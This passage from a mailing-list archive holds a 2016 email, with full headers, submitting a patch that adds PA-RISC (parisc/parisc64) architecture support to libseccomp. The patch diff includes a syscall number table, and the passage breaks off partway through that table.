+#  define __NR_seccomp 338
 # elif defined(__powerpc__)
 #  define __NR_seccomp 358
 # elif defined(__s390__)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] libseccomp: Add parisc architecture support (v2)
Date: Sat, 9 Apr 2016 09:05:49 +0200
Lines: 858
Approved: news@gmane.org
Message-ID: <20160409070549.GA5442@ls3530.box>
References: <20160213200731.GA18161@ls3530.box>
 <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de>
 <1907254.cBdVSxntFv@sifl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1460185565 9806 80.91.229.3 (9 Apr 2016 07:06:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 07:06:05 +0000 (UTC)
Cc: libseccomp@googlegroups.com, Helge Deller <deller@gmx.de>,
	Mike Frysinger <vapier@gentoo.org>
To: Paul Moore <paul@paul-moore.com>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: libseccomp+bncBC23VB5X54DBBWGTUK4AKGQEIQNV5QI@googlegroups.com Sat Apr 09 09:06:04 2016
Return-path: <libseccomp+bncBC23VB5X54DBBWGTUK4AKGQEIQNV5QI@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-wm0-f62.google.com ([74.125.82.62])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBBWGTUK4AKGQEIQNV5QI@googlegroups.com>)
	id 1aomy1-00088q-Bk
	for gcllg-libseccomp-discuss-2@m.gmane.org; Sat, 09 Apr 2016 09:06:01 +0200
Original-Received: by mail-wm0-f62.google.com with SMTP id 65sf11910930wmo.1
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Sat, 09 Apr 2016 00:06:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=cygsm/zeGxH7bPEeP1XZKgylYrLN8llzbXR/wkY7384=;
        b=MCPIIKOZlap+loOmyiMU8/n2e9e1CAboGgeNssuEXTRAktHJZLxjvwyuo3VDYH6wu5
         bQEdey4zvvsYyW6+gzEs+3c4QYUGARURlDDhDdv/72ilZ2h1FWsaqn6S2YfTGSYbaNI+
         1rVMveo08milyofRqLUmODyqilVqq2/WhL4CnhsH3+gmrtRbWcyq5JLEaHWA02k/ADLi
         7XDrvXvK6xKkO8KuTzh7vxGExKgnGNCrvzGOJ5te8sM9eSqsJ4E+bNvFKXd4VkgHR5uI
         +5lKDK2v43UUpYmMuBmgrH+WWCfbFn3Kk5xnzKK7lvc0j8q8yk6RbbeUUiYel13DIqYP
         xCvA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:x-spam-checked-in-group:list-post:list-help
         :list-archive:list-subscribe:list-unsubscribe;
        bh=cygsm/zeGxH7bPEeP1XZKgylYrLN8llzbXR/wkY7384=;
        b=Q+JPcuxpSyCAh57/TtyzO2kmJq+bki2cMpfs8LVWTN3w75Tr583KXCoWEbZ01346Xj
         KIQC+K4iIN3V0A0pXm7kOW44x5U+1Gy80uQ+vnqULvBo1epwPMIKGStOQtTpFJHFhgoT
         WaD66e5tsfBfQCEXT2YAnQujeS0tgm8CYSklNRQovpQh5DuCEzRCHNCg8KnNjdt+HsAJ
         CeMWVeCBTGYtKiMaceoEi9AxMv8cr1ubvwUW462+IkEjPb3GeOjDhpINHT9N2fJ988xo
         a8gAdAs/ZPy+P0ja9RcQ9FGCUQgJTlZNUxYXWwK7vXTFBZHgxjmWcF0jxVrQySTmOwtc
       
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AD7BkJKJ6g7OS5DaLColzjf5ZQxaKxS4myUHWHZ4vrMSYxQUOAA1CA1/K4+sHvHsr3LODg==
X-Received: by 10.28.170.12 with SMTP id t12mr47818wme.4.1460185560882;
        Sat, 09 Apr 2016 00:06:00 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.28.213.207 with SMTP id m198ls269875wmg.50.canary; Sat, 09 Apr
 2016 00:06:00 -0700 (PDT)
X-Received: by 10.28.27.12 with SMTP id b12mr515106wmb.6.1460185560520;
        Sat, 09 Apr 2016 00:06:00 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.17.22])
        by gmr-mx.google.com with ESMTPS id d92si142337wma.2.2016.04.09.00.06.00
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 09 Apr 2016 00:06:00 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.17.22 as permitted sender) client-ip=212.227.17.22;
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MRSeC-1bD0rT0eqm-00Sj4z; Sat, 09 Apr 2016 09:05:55
 +0200
Content-Disposition: inline
In-Reply-To: <1907254.cBdVSxntFv@sifl>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:63mjBVPF+EmsLnMCILaDd+CZHVDepZ9hHsZorFh/VOeBh699EWo
 MzKkDuRHnEoojgkfvJEM1St6cLS7taeA8/HOmDWqOcF7vwIC6Ja8yEmbh5yYue29OYIdvN6
 6zT3ainUWNOXwRAQbPp+BwjGTEpPWCM8Q9XPma/TdeKxWuHcQWDXWt4BllRf/z3yiBwf1K1
 awtAk6s38QSNibeP7DMig==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PFclG4JaUpk=:0ps5MbGWPuwe6y8BC1SoeE
 SANI6swR7zs5UBTVHLAIcotrvVd1z7/V5BpESdvqQeg3jCIUBXLri+xhvvuIImV5B6PzBt+11
 1WDH7SZvzWw2o8GKRQ89KLt35v9ZAFMV6DOjxK/GJLCy1Ywpz0FLAsuYoqq+xj3lNyLyJJaye
 ODeGMLSAQajVeysJ+Wyx+lX+qMnZMvdQE20YulZJb3xdFmrh+Qlofx88kvHQw7gaS8/phb0q2
 GcOikty2xO6LdM/un2N5lHuDygvGidhRzrOka4wdlEr3y6gC5hXrTYTC9OU1aOd3c99CxMiPl
 wTxMIsNtbMshhz2cWgAQqv07ajEyrB1SjoZxWIGp/fgaNGOpB8TNbJ/7uc1/Y8kVriKwYKIxC
 VwYcHHvJ7sz0EEBW+QMrjBM2M6ADyexBJOubnHEv4vri4tiR3Bv04mRU+02IjfSpiKCWlimAt
 e+G5k8r5oyREru3Ftq6BgIQ83pzrywXvABAHE2FTTLIoR/dekx6/bBjQhlsl/jHVfg4IGUuSv
 PU2N+iNjyCHXwy59f80WjcIu6rAAF15RT7yyLUmk7xjvQ5CPp3KxYxmqd+fKpFN1bW7ab1X7F
 8xdigrmcsn4MAuxZ4a6P09BG9Xw70DUhi64yZeWZq0rpAxhZktPdEdy72LxpUry1S3x8edVDy
 gA8u3+QAL8o40MSc3Ej5i6rx97MXzJq11Xk91zzicHSBN9MqOT7NHS/9135NcrY8FIhvzcIeL
 gqbx0vFlwCY7hNkkKfpdAMDjZTqSfAmNN8QocZRNnkBjfKoRKin/V1Q2J90=
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.17.22 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1336 gmane.linux.ports.parisc:26610
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1336>

This patch (v2) adds support for the parisc and parisc64 architectures
to libseccomp.

I didn't split up the patch, because it's pretty trivial.
Those parisc-specific files gets added:
 src/arch-parisc-syscalls.c
 src/arch-parisc.c
 src/arch-parisc.h
 src/arch-parisc64.c

All other changes are trivial because they simply add parisc-specific
case statements in variouse switch statements.

I noticed that when valgrind is not going to be used (e.g. because it's not
installed), the test testsuite will issue no information about that. With this
patch you will get informed if a testcase was SKIPPED because valgrind is not
installed. This additional info is useful for architectures which aren't as
fast as x86_64. On parisc it seemed that the whole testcase was hanging, now
people know what's actually happening.

I did ran a "make check" sucessfully on x86_64 and parisc.
The x86_64 didn't showed any issues, while on the parisc architecture
the 29-sim-pseudo_syscall testcase failed. But it seems this testcase
failure is not caused by this patch, instead it seems that it will fail
on most other architectures beside x86_64 as well.

It would be nice if you could add this patch to the libseccomp git tree.
The patch applies cleanly to current git head.

Changes compared to v1 of this patch:
- Enabled seccomp mode 2 regression tests on parisc. Kernel support for hppa
was added in kernel 4.6-rc1 and backported into the kernel stable series.

Thanks,
Helge

Signed-off-by: Helge Deller <deller@gmx.de>

diffstat:
 include/seccomp.h.in              |    6 
 src/Makefile.am                   |    2 
 src/arch-parisc-syscalls.c        |  422 ++++++++++++++++++++++++++++++++++++++
 src/arch-parisc.c                 |   22 +
 src/arch-parisc.h                 |   38 +++
 src/arch-parisc64.c               |   22 +
 src/arch-syscall-dump.c           |    5 
 src/arch.c                        |   13 +
 src/gen_pfc.c                     |    4 
 src/python/libseccomp.pxd         |    2 
 src/python/seccomp.pyx            |    8 
 tests/26-sim-arch_all_be_basic.c  |    6 
 tests/26-sim-arch_all_be_basic.py |    2 
 tests/regression                  |    4 
 tools/scmp_arch_detect.c          |    6 
 tools/scmp_bpf_sim.c              |    4 
 tools/util.c                      |    4 
 17 files changed, 569 insertions(+), 1 deletion(-)

diff --git a/include/seccomp.h.in b/include/seccomp.h.in
index 6bf6751..5b9057f 100644
--- a/include/seccomp.h.in
+++ b/include/seccomp.h.in
@@ -185,6 +185,12 @@ struct scmp_arg_cmp {
 #define SCMP_ARCH_S390X		AUDIT_ARCH_S390X
 
 /**
+ * The PA-RISC hppa architecture tokens
+ */
+#define SCMP_ARCH_PARISC	AUDIT_ARCH_PARISC
+#define SCMP_ARCH_PARISC64	AUDIT_ARCH_PARISC64
+
+/**
  * Convert a syscall name into the associated syscall number
  * @param x the syscall name
  */
diff --git a/src/Makefile.am b/src/Makefile.am
index c2d805e..dcc79d9 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -35,6 +35,8 @@ SOURCES_ALL = \
 	arch-mips.h arch-mips.c arch-mips-syscalls.c \
 	arch-mips64.h arch-mips64.c arch-mips64-syscalls.c \
 	arch-mips64n32.h arch-mips64n32.c arch-mips64n32-syscalls.c \
+	arch-parisc.h arch-parisc.c arch-parisc-syscalls.c \
+	arch-parisc64.h arch-parisc64.c \
 	arch-ppc.h arch-ppc.c arch-ppc-syscalls.c \
 	arch-ppc64.h arch-ppc64.c arch-ppc64-syscalls.c \
 	arch-s390.h arch-s390.c arch-s390-syscalls.c \
diff --git a/src/arch-parisc-syscalls.c b/src/arch-parisc-syscalls.c
new file mode 100644
index 0000000..c6efdd1
--- /dev/null
+++ b/src/arch-parisc-syscalls.c
@@ -0,0 +1,422 @@
+/*
+ * Copyright 2016
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <string.h>
+
+#include <seccomp.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+#ifndef __NR_Linux
+#define __NR_Linux 0
+#endif
+
+/* NOTE: based on Linux 4.3 */
+const struct arch_syscall_def parisc_syscall_table[] = { \
+	{ "_llseek",	(__NR_Linux + 140) },
+	{ "_newselect",	(__NR_Linux + 142) },
+	{ "_sysctl",	(__NR_Linux + 149) },
+	{ "accept4",	(__NR_Linux + 320) },
+	{ "accept",	(__NR_Linux + 35) },
+	{ "access",	(__NR_Linux + 33) },
+	{ "acct",	(__NR_Linux + 51) },
+	{ "acl_get",	(__NR_Linux + 204) },
+	{ "acl_set",	(__NR_Linux + 205) },
+	{ "add_key",	(__NR_Linux + 264) },
+	{ "adjtimex",	(__NR_Linux + 124) },
+	{ "afs_syscall",	(__NR_Linux + 137) },
+	{ "alarm",	(__NR_Linux + 27) },
+	{ "alloc_hugepages",	(__NR_Linux + 220) },
+	{ "attrctl",	(__NR_Linux + 203) },
+	{ "bdflush",	(__NR_Linux + 134) },
+	{ "bind",	(__NR_Linux + 22) },
+	{ "bpf",	(__NR_Linux + 341) },
+	{ "brk",	(__NR_Linux + 45) },
+	{ "capget",	(__NR_Linux + 106) },
+	{ "capset",	(__NR_Linux + 107) },
+	{ "chdir",	(__NR_Linux + 12) },
+	{ "chmod",	(__NR_Linux + 15) },
+	{ "chown",	(__NR_Linux + 180) },
+	{ "chroot",	(__NR_Linux + 61) },
+	{ "clock_adjtime",	(__NR_Linux + 324) },
+	{ "clock_getres",	(__NR_Linux + 257) },
+	{ "clock_gettime",	(__NR_Linux + 256) },
+	{ "clock_nanosleep",	(__NR_Linux + 258) },
+	{ "clock_settime",	(__NR_Linux + 255) },
+	{ "clone",	(__NR_Linux + 120) },
+	{ "close",	(__NR_Linux + 6) },
+	{ "connect",	(__NR_Linux + 31) },
+	{ "create_module",	(__NR_Linux + 127) },
+	{ "creat",	(__NR_Linux + 8) },
+	{ "delete_module",	(__NR_Linux + 129) },
+	{ "dup2",	(__NR_Linux + 63) },
+	{ "dup3",	(__NR_Linux + 312) },
+	{ "dup",	(__NR_Linux + 41) },
+	{ "epoll_create1",	(__NR_Linux + 311) },
+	{ "epoll_create",	(__NR_Linux + 224) },
+	{ "epoll_ctl",	(__NR_Linux + 225) },
+	{ "epoll_pwait",	(__NR_Linux + 297) },
+	{ "epoll_wait",	(__NR_Linux + 226) },
+	{ "eventfd2",	(__NR_Linux + 310) },
+	{ "eventfd",	(__NR_Linux + 304) },
+	{ "execveat",	(__NR_Linux + 342) },
+	{ "execve",	(__NR_Linux + 11) },
+	{ "exit_group",	(__NR_Linux + 222) },
+	{ "exit",	(__NR_Linux + 1) },
+	{ "faccessat",	(__NR_Linux + 287) },
+	{ "fadvise64_64",	(__NR_Linux + 236) },
+	{ "fallocate",	(__NR_Linux + 305) },
+	{ "fanotify_init",	(__NR_Linux + 322) },
+	{ "fanotify_mark",	(__NR_Linux + 323) },
+	{ "fchdir",	(__NR_Linux + 133) },
+	{ "fchmodat",	(__NR_Linux + 286) },
+	{ "fchmod",	(__NR_Linux + 94) },
+	{ "fchownat",	(__NR_Linux + 278) },
+	{ "fchown",	(__NR_Linux + 95) },
+	{ "fcntl64",	(__NR_Linux + 202) },
+	{ "fcntl",	(__NR_Linux + 55) },
+	{ "fdatasync",	(__NR_Linux + 148) },
+	{ "fgetxattr",	(__NR_Linux + 243) },
+	{ "finit_module",	(__NR_Linux + 333) },
+	{ "flistxattr",	(__NR_Linux + 246) },
+	{ "flock",	(__NR_Linux + 143) },
+	{ "fork",	(__NR_Linux + 2) },
+	{ "free_hugepages",	(__NR_Linux + 221) },
+	{ "fremovexattr",	(__NR_Linux + 249) },
+	{ "fsetxattr",	(__NR_Linux + 240) },
+	{ "fstat64",	(__NR_Linux + 112) },
+	{ "fstatat64",	(__NR_Linux + 280) },
+	{ "fstatfs64",	(__NR_Linux + 299) },
+	{ "fstatfs",	(__NR_Linux + 100) },
+	{ "fstat",	(__NR_Linux + 28) },
+	{ "fsync",	(__NR_Linux + 118) },
+	{ "ftruncate64",	(__NR_Linux + 200) },
+	{ "ftruncate",	(__NR_Linux + 93) },
+	{ "futex",	(__NR_Linux + 210) },
+	{ "futimesat",	(__NR_Linux + 279) },
+	{ "getcpu",	(__NR_Linux + 296) },
+	{ "getcwd",	(__NR_Linux + 110) },
+	{ "getdents64",	(__NR_Linux + 201) },
+	{ "getdents",	(__NR_Linux + 141) },
+	{ "getegid",	(__NR_Linux + 50) },
+	{ "geteuid",	(__NR_Linux + 49) },
+	{ "getgid",	(__NR_Linux + 47) },
+	{ "getgroups",	(__NR_Linux + 80) },
+	{ "getitimer",	(__NR_Linux + 105) },
+	{ "get_kernel_syms",	(__NR_Linux + 130) },
+	{ "get_mempolicy",	(__NR_Linux + 261) },
+	{ "getpeername",	(__NR_Linux + 53) },
+	{ "getpgid",	(__NR_Linux + 132) },
+	{ "getpgrp",	(__NR_Linux + 65) },
+	{ "getpid",	(__NR_Linux + 20) },
+	{ "getpmsg",	(__NR_Linux + 196) },
+	{ "getppid",	(__NR_Linux + 64) },
+	{ "getpriority",	(__NR_Linux + 96) },
+	{ "getrandom",	(__NR_Linux + 339) },
+	{ "getresgid",	(__NR_Linux + 171) },
+	{ "getresuid",	(__NR_Linux + 165) },
+	{ "getrlimit",	(__NR_Linux + 76) },
+	{ "get_robust_list",	(__NR_Linux + 290) },
+	{ "getrusage",	(__NR_Linux + 77) },
+	{ "getsid",	(__NR_Linux + 147) },
+	{ "getsockname",	(__NR_Linux + 44) },
+	{ "getsockopt",	(__NR_Linux + 182) },
+	{ "get_thread_area",	(__NR_Linux + 214) },
+	{ "gettid",	(__NR_Linux + 206) },
+	{ "gettimeofday",	(__NR_Linux + 78) },
+	{ "getuid",	(__NR_Linux + 24) },
+	{ "getxattr",	(__NR_Linux + 241) },
+	{ "init_module",	(__NR_Linux + 128) },
+	{ "inotify_add_watch",	(__NR_Linux + 270) },
+	{ "inotify_init1",	(__NR_Linux + 314) },
+	{ "inotify_init",	(__NR_Linux + 269) },
+	{ "inotify_rm_watch",	(__NR_Linux + 271) },
+	{ "io_cancel",	(__NR_Linux + 219) },
+	{ "ioctl",	(__NR_Linux + 54) },
+	{ "io_destroy",	(__NR_Linux + 216) },
+	{ "io_getevents",	(__NR_Linux + 217) },
+	{ "ioprio_get",	(__NR_Linux + 268) },
+	{ "ioprio_set",	(__NR_Linux + 267) },
+	{ "io_setup",	(__NR_Linux + 215) },
+	{ "io_submit",	(__NR_Linux + 218) },
+	{ "kcmp",	(__NR_Linux + 332) },
+	{ "kexec_load",	(__NR_Linux + 300) },
+	{ "keyctl",	(__NR_Linux + 266) },
+	{ "kill",	(__NR_Linux + 37) },
+	{ "lchown",	(__NR_Linux + 16) },
+	{ "lgetxattr",	(__NR_Linux + 242) },
+	{ "linkat",	(__NR_Linux + 283) },
+	{ "link",	(__NR_Linux + 9) },
+	{ "listen",	(__NR_Linux + 32) },
+	{ "listxattr",	(__NR_Linux + 244) },
+	{ "llistxattr",	(__NR_Linux + 245) },
+	{ "lookup_dcookie",	(__NR_Linux + 223) },
+	{ "lremovexattr",	(__NR_Linux + 248) },
+	{ "lseek",	(__NR_Linux + 19) },
+	{ "lsetxattr",	(__NR_Linux + 239) },
+	{ "lstat64",	(__NR_Linux + 198) },
+	{ "lstat",	(__NR_Linux + 84) },
+	{ "madvise",	(__NR_Linux + 119) },
+	{ "mbind",	(__NR_Linux + 260) },
+	{ "memfd_create",	(__NR_Linux + 340) },
+	{ "migrate_pages",	(__NR_Linux + 272) },
+	{ "mincore",	(__NR_Linux + 72) },
+	{ "mkdirat",	(__NR_Linux + 276) },
+	{ "mkdir",	(__NR_Linux + 39) },
+	{ "mknodat",	(__NR_Linux + 277) },
+	{ "mknod",	(__NR_Linux + 14) },
+	{ "mlockall",	(__NR_Linux + 152) },
+	{ "mlock",	(__NR_Linux + 150) },
+	{ "mmap2",	(__NR_Linux + 89) },
+	{ "mmap",	(__NR_Linux + 90) },
+	{ "mount",	(__NR_Linux + 21) },
+	{ "move_pages",	(__NR_Linux + 295) },
+	{ "mprotect",	(__NR_Linux + 125) },
+	{ "mq_getsetattr",	(__NR_Linux + 234) },
+	{ "mq_notify",	(__NR_Linux + 233) },
+	{ "mq_open",	(__NR_Linux + 229) },
+	{ "mq_timedreceive",	(__NR_Linux + 232) },
+	{ "mq_timedsend",	(__NR_Linux + 231) },
+	{ "mq_unlink",	(__NR_Linux + 230) },
+	{ "mremap",	(__NR_Linux + 163) },
+	{ "msgctl",	(__NR_Linux + 191) },
+	{ "msgget",	(__NR_Linux + 190) },
+	{ "msgrcv",	(__NR_Linux + 189) },
+	{ "msgsnd",	(__NR_Linux + 188) },
+	{ "msync",	(__NR_Linux + 144) },
+	{ "munlockall",	(__NR_Linux + 153) },
+	{ "munlock",	(__NR_Linux + 151) },
+	{ "munmap",	(__NR_Linux + 91) },
+	{ "name_to_handle_at",	(__NR_Linux + 325) },
+	{ "nanosleep",	(__NR_Linux + 162) },
+	{ "nfsservctl",	(__NR_Linux + 169) },
+	{ "nice",	(__NR_Linux + 34) },
+	{ "openat",	(__NR_Linux + 275) },
+	{ "open_by_handle_at",	(__NR_Linux + 326) },
+	{ "open",	(__NR_Linux + 5) },
+	{ "pause",	(__NR_Linux + 29) },
+	{ "perf_event_open",	(__NR_Linux + 318) },
+	{ "personality",	(__NR_Linux + 136) },
+	{ "pipe2",	(__NR_Linux + 313) },
+	{ "pipe",	(__NR_Linux + 42) },
+	{ "pivot_root",	(__NR_Linux + 67) },
+	{ "poll",	(__NR_Linux + 168) },
+	{ "ppoll",	(__NR_Linux + 274) },
+	{ "prctl",	(__NR_Linux + 172) },
+	{ "pread64",	(__NR_Linux + 108) },
+	{ "preadv",	(__NR_Linux + 315) },
+	{ "prlimit64",	(__NR_Linux + 321) },
+	{ "process_vm_readv",	(__NR_Linux + 330) },
+	{ "process_vm_writev",	(__NR_Linux + 331) },
+	{ "pselect6",	(__NR_Linux + 273) },
+	{ "ptrace",	(__NR_Linux + 26) },
+	{ "putpmsg",	(__NR_Linux + 197) },
+	{ "pwrite64",	(__NR_Linux + 109) },
+	{ "pwritev",	(__NR_Linux + 316) },
+	{ "query_module",	(__NR_Linux + 167) },
+	{ "quotactl",	(__NR_Linux + 131) },
+	{ "readahead",	(__NR_Linux + 207) },
+	{ "readlinkat",	(__NR_Linux + 285) },
+	{ "readlink",	(__NR_Linux + 85) },
+	{ "read",	(__NR_Linux + 3) },
+	{ "readv",	(__NR_Linux + 145) },
+	{ "reboot",	(__NR_Linux + 88) },
+	{ "recvfrom",	(__NR_Linux + 123) },
+	{ "recvmmsg",	(__NR_Linux + 319) },
+	{ "recvmsg",	(__NR_Linux + 184) },
+	{ "recv",	(__NR_Linux + 98) },
+	{ "remap_file_pages",	(__NR_Linux + 227) },
+	{ "removexattr",	(__NR_Linux + 247) },
+	{ "renameat2",	(__NR_Linux + 337) },
+	{ "renameat",	(__NR_Linux + 282) },
+	{ "rename",	(__NR_Linux + 38) },
+	{ "request_key",	(__NR_Linux + 265) },
+	{ "restart_syscall",	(__NR_Linux + 0) },
+	{ "rmdir",	(__NR_Linux + 40) },
+	{ "rt_sigaction",	(__NR_Linux + 174) },
+	{ "rt_sigpending",	(__NR_Linux + 176) },
+	{ "rt_sigprocmask",	(__NR_Linux + 175) },
+	{ "rt_sigqueueinfo",	(__NR_Linux + 178) },
+	{ "rt_sigreturn",	(__NR_Linux + 173) },
+	{ "rt_sigsuspend",	(__NR_Linux + 179) },
+	{ "rt_sigtimedwait",	(__NR_Linux + 177) },
+	{ "rt_tgsigqueueinfo",	(__NR_Linux + 317) },
+	{ "sched_getaffinity",	(__NR_Linux + 212) },
+	{ "sched_getattr",	(__NR_Linux + 335) },
+	{ "sched_getparam",	(__NR_Linux + 155) },
+	{ "sched_get_priority_max",	(__NR_Linux + 159) },
+	{ "sched_get_priority_min",	(__NR_Linux + 160) },
+	{ "sched_getscheduler",	(__NR_Linux + 157) },
+	{ "sched_rr_get_interval",	(__NR_Linux + 161) },
+	{ "sched_setaffinity",	(__NR_Linux + 211) },
+	{ "sched_setattr",	(__NR_Linux + 334) },
+	{ "sched_setparam",	(__NR_Linux + 154) },
+	{ "sched_setscheduler",	(__NR_Linux + 156) },
+	{ "sched_yield",	(__NR_Linux + 158) },
+	{ "seccomp",	(__NR_Linux + 338) },
+	{ "semctl",	(__NR_Linux + 187) },
+	{ "semget",	(__NR_Linux + 186) },
+	{ "semop",	(__NR_Linux + 185) },
+	{ "semtimedop",	(__NR_Linux + 228) },
+	{ "sendfile64",	(__NR_Linux + 209) },
+	{ "sendfile",	(__NR_Linux + 122) },
+	{ "sendmmsg",	(__NR_Linux + 329) },
+	{ "sendmsg",	(__NR_Linux + 183) },
+	{ "send",	(__NR_Linux + 58) },
+	{ "sendto",	(__NR_Linux + 82) },
+	{ "setdomainname",	(__NR_Linux + 121) },
+	{ "setfsgid",	(__NR_Linux + 139) },
+	{ "setfsuid",	(__NR_Linux + 138) },
+	{ "setgid",	(__NR_Linux + 46) },
+	{ "setgroups",	(__NR_Linux + 81) },
+	{ "sethostname",	(__NR_Linux + 74) },
+	{ "setitimer",	(__NR_Linux + 104) },
+	{ "set_mempolicy",	(__NR_Linux + 262) },
+	{ "setns",	(__NR_Linux + 328) },
+	{ "setpgid",	(__NR_Linux + 57) },
+	{ "setpriority",	(__NR_Linux + 97) },
+	{ "setregid",	(__NR_Linux + 71) },
+	{ "setresgid",	(__NR_Linux + 170) },
+	{ "setresuid",	(__NR_Linux + 164) },
+	{ "setreuid",	(__NR_Linux + 70) },
+	{ "setrlimit",	(__NR_Linux + 75) },
+	{ "set_robust_list",	(__NR_Linux + 289) },
+	{ "setsid",	(__NR_Linux + 66) },
+	{ "setsockopt",	(__NR_Linux + 181) },
+	{ "set_thread_area",	(__NR_Linux + 213) },
+	{ "set_tid_address",	(__NR_Linux + 237) },
+	{ "settimeofday",	(__NR_Linux + 79) },
+	{ "setuid",	(__NR_Linux + 23) },
+	{ "setxattr",	(__NR_Linux + 238) },
+	{ "sgetmask",	(__NR_Linux + 68) },
+	{ "shmat",	(__NR_Linux + 192) },
+	{ "shmctl",	(__NR_Linux + 195) },
+	{ "shmdt",	(__NR_Linux + 193) },
+	{ "shmget",	(__NR_Linux + 194) },
+	{ "shutdown",	(__NR_Linux + 117) },
+	{ "sigaltstack",	(__NR_Linux + 166) },
+	{ "signalfd4",	(__NR_Linux + 309) },
+	{ "signalfd",	(__NR_Linux + 302) },
+	{ "signal",	(__NR_Linux + 48) },
+	{ "sigpending",	(__NR_Linux + 73) },
+	{ "sigprocmask",	(__NR_Linux + 126) },
+	{ "socket",	(__NR_Linux + 17) },
+	{ "socketpair",	(__NR_Linux + 56) },
+	{ "splice",	(__NR_Linux + 291) },
+	{ "ssetmask",	(__NR_Linux + 69) },
+	{ "stat64",	(__NR_Linux + 101) },
+	{ "statfs64",	(__NR_Linux + 298) },
+	{ "statfs",	(__NR_Linux + 99) },
+	{ "stat",	(__NR_Linux + 18) },
+	{ "stime",	(__NR_Linux + 25) },
+	{ "swapoff",	(__NR_Linux + 115) },
+	{ "swapon",	(__NR_Linux + 87) },
+	{ "symlinkat",	(__NR_Linux + 284) },
+	{ "symlink",	(__NR_Linux + 83) },
+	{ "sync_file_range",	(__NR_Linux + 292) },
+	{ "syncfs",	(__NR_Linux + 327) },
+	{ "sync",	(__NR_Linux + 36) },
+	{ "sysfs",	(__NR_Linux + 135) },
+	{ "sysinfo",	(__NR_Linux + 116) },
+	{ "syslog",	(__NR_Linux + 103) },
+	{ "tee",	(__NR_Linux + 293) },
+	{ "tgkill",	(__NR_Linux + 259) },
+	{ "time",	(__NR_Linux + 13) },
+	{ "timer_create",	(__NR_Linux + 250) },
+	{ "timer_delete",	(__NR_Linux + 254) },
+	{ "timerfd_create",	(__NR_Linux + 306) },
+	{ "timerfd_gettime",	(__NR_Linux + 308) },
+	{ "timerfd",	(__NR_Linux + 303) },
+	{ "timerfd_settime",	(__NR_Linux + 307) },
+	{ "timer_getoverrun",	(__NR_Linux + 253) },
+	{ "timer_gettime",	(__NR_Linux + 252) },
+	{ "timer_settime",	(__NR_Linux + 251) },
+	{ "times",	(__NR_Linux + 43) },
+	{ "tkill",	(__NR_Linux + 208) },
+	{ "truncate64",	(__NR_Linux + 199) },
+	{ "truncate",	(__NR_Linux + 92) },
+	{ "umask",	(__NR_Linux + 60) },
+	{ "umount2",	(__NR_Linux + 52) },
+	{ "uname",	(__NR_Linux + 59) },
+	{ "unlinkat",	(__NR_Linux + 281) },
+	{ "unlink",	(__NR_Linux + 10) },
+	{ "unshare",	(__NR_Linux + 288) },
+	{ "uselib",	(__NR_Linux + 86) },
+	{ "ustat",	(__NR_Linux + 62) },
+	{ "utime",	(__NR_Linux + 30) },
+	{ "utimensat",	(__NR_Linux + 301) },
+	{ "utimes",	(__NR_Linux + 336) },
